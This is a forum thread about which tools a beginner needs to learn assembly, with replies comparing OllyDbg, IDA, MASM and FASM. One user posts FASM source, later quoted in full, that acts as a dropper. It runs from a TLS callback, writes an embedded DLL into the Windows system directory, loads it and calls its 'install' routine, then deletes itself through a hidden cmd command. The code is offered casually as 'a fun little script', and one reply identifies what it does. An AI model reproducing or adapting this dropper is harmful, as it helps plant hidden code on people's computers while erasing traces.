What programs i need for ASM!
Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
Re: What programs i need for ASM!
Quote:
Originally Posted by
marbogunz
Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
Use OllyDBG I think?
Re: What programs i need for ASM!
Re: What programs i need for ASM!
He is right. The ONLY thing you need is OllyDBG. I prefer the 1.10
Re: What programs i need for ASM!
No, you can't learn ASM with ollydbg. Read the tutorials?
Re: What programs i need for ASM!
Quote:
Originally Posted by
Linear88
No, you can't learn ASM with ollydbg. Read the tutorials?
He said he wanted a program for asm.
Quote:
Im learning ASM, but i dont know what programs i need!
Re: What programs i need for ASM!
use ollyDBG for the ASM coding and use http://www.xs4all.nl/~smit/asm01001.htm for good tutorials!
anyways good luck with ASM!
Re: What programs i need for ASM!
No one mentions IdaPro? >..>
OllyDbg will work I guess..
Re: What programs i need for ASM!
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
Re: What programs i need for ASM!
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
Re: What programs i need for ASM!
Quote:
Originally Posted by
Trilest
He said he wanted a program for asm.
A debugger rarely has anything to do with ASM.
Quote:
Originally Posted by
Tman151
No one mentions IdaPro? >..>
OllyDbg will work I guess..
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
Quote:
Originally Posted by
BetrayedAcheron
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
Quote:
Originally Posted by
PaulBub
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
Re: What programs i need for ASM!
Re: What programs i need for ASM!
Quote:
Originally Posted by
gWX0
A debugger rarely has anything to do with ASM.
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer
FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
Code:
format PE gui 4.0
entry G
include 'FASM\include\win32a.inc'
include 'config.inc'
proc callback,handle,reason,reserved
cmp [reason],DLL_PROCESS_ATTACH
jnz exit
xor eax,eax
invoke LocalAlloc,eax,100h
test eax,eax
je exit
mov edi,eax
push edi
invoke GetSystemDirectory,edi,100h
add edi,eax
mov al,'\'
stosb
mov esi,_dll_name
mov ecx,_dll_name_sz
rep movsb
pop edi
mov ebx,edi
xor esi,esi
invoke CreateFile,edi,40000000h,esi,esi,2,2,esi
inc eax
je exit
lea edi,[eax-1]
invoke WriteFile,edi,_dll,_dll_sz,esp,esi
invoke CloseHandle,edi
invoke LoadLibrary,ebx
test eax,eax
je exit
invoke GetProcAddress,eax,_ProcAddress
test eax,eax
je exit
call eax
mov eax,_delete
cmp eax,0
je exit
invoke GetModuleFileName,esi,szFile,MAX_PATH
invoke GetShortPathName,szFile,szFile,MAX_PATH
invoke lstrcpy,szCmd,szDelete
invoke lstrcat,szCmd,szFile
invoke lstrcat,szCmd,szNull
invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
test eax,eax
je exit
invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
exit:
invoke ExitProcess,esi
G:
ret
endp
data 9
dd a
dd a
dd a
dd c
a dd 0
c dd callback
dd 0
end data
section '.data' data readable writeable
_dll_name db dll_name,0
_dll_name_sz = $ - _dll_name
_ProcAddress db 'install',0
szFile db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
szComSpec db 'ComSpec',0
szDelete db '/c del ',0
szNull db ' >> nul',0
_dll:
file 'SOURCE\F.dll'
_dll_sz = $ - _dll
data import
library kernel***'KERNEL32.DLL',\
shell***'SHELL32.DLL',\
user***'USER32.DLL'
include 'FASM\include\kernel32.inc'
include 'FASM\include\shell32.inc'
include 'FASM\include\user32.inc'
end data
What a fun little script.
Re: What programs i need for ASM!
Quote:
Originally Posted by
gWX0
A debugger rarely has anything to do with ASM.
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer
FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
thanks alot i might look at that o.o
Re: What programs i need for ASM!
Quote:
Originally Posted by
TidusXIII
Code:
format PE gui 4.0
entry G
include 'FASM\include\win32a.inc'
include 'config.inc'
proc callback,handle,reason,reserved
cmp [reason],DLL_PROCESS_ATTACH
jnz exit
xor eax,eax
invoke LocalAlloc,eax,100h
test eax,eax
je exit
mov edi,eax
push edi
invoke GetSystemDirectory,edi,100h
add edi,eax
mov al,'\'
stosb
mov esi,_dll_name
mov ecx,_dll_name_sz
rep movsb
pop edi
mov ebx,edi
xor esi,esi
invoke CreateFile,edi,40000000h,esi,esi,2,2,esi
inc eax
je exit
lea edi,[eax-1]
invoke WriteFile,edi,_dll,_dll_sz,esp,esi
invoke CloseHandle,edi
invoke LoadLibrary,ebx
test eax,eax
je exit
invoke GetProcAddress,eax,_ProcAddress
test eax,eax
je exit
call eax
mov eax,_delete
cmp eax,0
je exit
invoke GetModuleFileName,esi,szFile,MAX_PATH
invoke GetShortPathName,szFile,szFile,MAX_PATH
invoke lstrcpy,szCmd,szDelete
invoke lstrcat,szCmd,szFile
invoke lstrcat,szCmd,szNull
invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
test eax,eax
je exit
invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
exit:
invoke ExitProcess,esi
G:
ret
endp
data 9
dd a
dd a
dd a
dd c
a dd 0
c dd callback
dd 0
end data
section '.data' data readable writeable
_dll_name db dll_name,0
_dll_name_sz = $ - _dll_name
_ProcAddress db 'install',0
szFile db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
szComSpec db 'ComSpec',0
szDelete db '/c del ',0
szNull db ' >> nul',0
_dll:
file 'SOURCE\F.dll'
_dll_sz = $ - _dll
data import
library kernel***'KERNEL32.DLL',\
shell***'SHELL32.DLL',\
user***'USER32.DLL'
include 'FASM\include\kernel32.inc'
include 'FASM\include\shell32.inc'
include 'FASM\include\user32.inc'
end data
What a fun little script.
That's a dynamic link-library, not a script. It looks like it dumps a copy of itself into the system directory.